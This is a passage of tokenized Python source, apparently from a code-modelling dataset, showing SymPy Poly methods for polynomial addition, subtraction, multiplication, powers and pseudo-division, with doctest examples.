" ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "add", "(", "Poly", "(", "x", " ", "-", " ", "2", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "x", " ", "-", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ")", " ", "+", " ", "Poly", "(", "x", " ", "-", " ", "2", ",", " ", "x", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "x", " ", "-", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "symp", "ify_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "g_", "._", "is", "\\u", "Poly_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "add", "\\u", "ground_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "add", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "F_", "._", "add_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "add", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sub_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Subtract", " ", "two", " ", "polynomial", "s", " ", "``", "f", "``", " ", "and", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "sub", "(", "Poly", "(", "x", " ", "-", " ", "2", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "x", " ", "+", " ", "3", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ")", " ", "-", " ", "Poly", "(", "x", " ", "-", " ", "2", ",", " ", "x", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "x", " ", "+", " ", "3", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "symp", "ify_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "g_", "._", "is", "\\u", "Poly_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "sub\\u", "ground_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "sub", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "F_", "._", "sub_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "sub", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mul_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Multiply", " ", "two", " ", "polynomial", "s", " ", "``", "f", "``", " ", "and", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "mul", "(", "Poly", "(", "x", " ", "-", " ", "2", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "3", " ", "-", " ", "2", "*", "x", "**", "2", " ", "+", " ", "x", " ", "-", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ")*", "Poly", "(", "x", " ", "-", " ", "2", ",", " ", "x", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "3", " ", "-", " ", "2", "*", "x", "**", "2", " ", "+", " ", "x", " ", "-", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "symp", "ify_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "g_", "._", "is", "\\u", "Poly_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "mul", "\\u", "ground_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "mul", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "F_", "._", "mul_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "mul", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sqr", "_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Square", " ", "a", " ", "polynomial", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", " ", "-", " ", "2", ",", " ", "x", ").", "sqr", "()", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "4", "*", "x", " ", "+", " ", "4", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", " ", "-", " ", "2", ",", " ", "x", ")**", "2", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "4", "*", "x", " ", "+", " ", "4", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "sqr", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "sqr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "sqr", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pow_", "(_", "f_", ",_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Rai", "se", " ", "``", "f", "``", " ", "to", " ", "a", " ", "non", "-", "negati", "ve", " ", "power", " ", "``", "n", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", " ", "-", " ", "2", ",", " ", "x", ").", "pow", "(", "3", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "3", " ", "-", " ", "6", "*", "x", "**", "2", " ", "+", " ", "1", "2", "*", "x", " ", "-", " ", "8", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", " ", "-", " ", "2", ",", " ", "x", ")**", "3", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "3", " ", "-", " ", "6", "*", "x", "**", "2", " ", "+", " ", "1", "2", "*", "x", " ", "-", " ", "8", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "=_", "int_", "(_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "pow", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "pow_", "(_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "pow", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pdi", "v_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Polynomial", " ", "pseudo", "-", "divisi", "on", " ", "of", " ", "``", "f", "``", " ", "by", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "pdi", "v", "(", "Poly", "(", "2", "*", "x", " ", "-", " ", "4", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "(", "Poly", "(", "2", "*", "x", " ", "+", " ", "4", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "Poly", "(", "20", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "'))", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "pdi", "v", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "q_", ",_", "r_", "=_", "F_", "._", "pdi", "v_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "pdi", "v", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "q_", ")_", ",_", "per_", "(_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "prem", "_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Polynomial", " ", "pseudo", "-", "remainder", " ", "of", " ", "``", "f", "``", " ", "by", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Cav", "eat", ":", " ", "The", " ", "function", " ", "prem", "(", "f", ",", " ", "g", ",", " ", "x", ")", " ", "can", " ", "be", " ", "safe", "ly", " ", "used", " ", "to", " ", "compute", "\\", "10", ";", " ", " ", "in", " ", "Z", "[", "x", "]", " ", "\\u", "only", "\\u", " ", "subre", "sult", "ant", " ", "polynomial", " ", "remainder", " ", "sequence", "s", " ", "(", "prs", "'", "s", ").", "\\", "10", ";", "\\", "10", ";", " ", " ", "To", " ", "safe", "ly", " ", "compute", " ", "Euc", "lide", "an", " ", "and", " ", "Stu", "rmi", "an", " ", "prs", "'", "s", " ", "in", " ", "Z", "[", "x", "]", "\\", "10", ";", " ", " ", "employ", " ", "any", "one", " ", "of", " ", "the", " ", "correspond", "ing", " ", "function", "s", " ", "found", " ", "in", "\\", "10", ";", " ", " ", "the", " ", "module", " ", "symp", "y", ".", "polys", ".", "subre", "sult", "ant", "s", "\\u", "qq", "\\u", "zz", ".", " ", "The", " ", "function", "s", "\\", "10", ";", " ", " ", "in", " ", "the", " ", "module", " ", "with", " ", "suff", "ix", " ", "\\u", "pg", " ", "compute", " ", "prs", "'", "s", " ", "in", " ", "Z", "[", "x", "]", " ", "employ", "ing", "\\", "10", ";", " ", " ", "rem", "(", "f", ",", " ", "g", ",", " ", "x", "),", " ", "where", "as", " ", "the", " ", "function", "s", " ", "with", " ", "suff", "ix", " ", "\\u", "am", "v", "\\", "10", ";", " ", " ", "compute", " ", "prs", "'", "s", " ", "in", " ", "Z", "[", "x", "]", " ", "employ", "ing", " ", "rem", "\\u", "z", "(", "f", ",", " ", "g", ",", " ", "x", ").", "\\", "10", ";", "\\", "10", ";", " ", " ", "The", " ", "function", " ", "rem", "\\u", "z", "(", "f", ",", " ", "g", ",", " ", "x", ")", " ", "differs", " ", "from", " ", "prem", "(", "f", ",", " ", "g", ",", " ", "x", ")", " ", "in", " ", "tha", "t", "\\", "10", ";", " ", " ", "to", " ", "compute", " ", "the", " ", "remainder", " ", "polynomial", "s", " ", "in", " ", "Z", "[", "x", "]", " ", "it", " ", "prem", "ulti", "pli", "es", "\\", "10", ";", " ", " ", "the", " ", "divide", "nt", " ", "times", " ", "the", " ", "abs", "olute", " ", "value", " ", "of", " ", "the", " ", "lead", "ing", " ", "coefficient", "\\", "10", ";", " ", " ", "of", " ", "the", " ", "divisor", " ", "raise", "d", " ", "to", " ", "the", " ", "power", " ", "degr", "ee", "(", "f", ",", " ", "x", ")", " ", "-", " ", "degr", "ee", "(", "g", ",", " ", "x", ")", " ", "+", " ", "1", ".", "\\", "10", ";", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "prem", "(", "Poly", "(", "2", "*", "x", " ", "-", " ", "4", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "20", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "prem", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "F_", "._", "prem", "_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "prem", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pq", "uo", "_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Polynomial", " ", "pseudo", "-", "quot", "ient", " ", "of", " ", "``", "f", "``", " ", "by", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "the", " ", "Cav", "eat", " ", "note", " ", "in", " ", "the", " ", "function", " ", "prem", "(", "f", ",", " ", "g", ").", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "pq", "uo", "(", "Poly", "(", "2", "*", "x", " ", "-", " ", "4", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "2", "*", "x", " ", "+", " ", "4", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ").", "pq", "uo", "(", "Poly", "(", "2", "*", "x", " ", "-", " ", "2", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "2", "*", "x", " ", "+", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "pq", "uo", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "F_", "._", "pq", "uo", "_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "pq", "uo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pex", "quo", "_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Polynomial", " ", "exact", " ", "pseudo", "-", "quot", "ient", " ", "of", " ", "``", "f", "``", " ", "by", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ").", "pex", "quo", "(", "Poly", "(", "2", "*", "x", " ", "-", " ", "2", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "2", "*", "x", " ", "+", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "pex", "quo", "(", "Poly", "(", "2", "*", "x", " ", "-", " ", "4", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Trace", "back", " ", "(", "most", " ", "recent", " ", "call", " ", "last", "):", "\\", "10", ";", " ", " ", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "Exa", "ct", "Qu", "oti", "ent", "Fail", "ed", ":", " ", "2", "*", "x", " ", "-", " ", "4", " ", "doe", "s", " ", "not", " ", "divide", " ", "x", "**", "2", " ", "+", " ", "1", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", 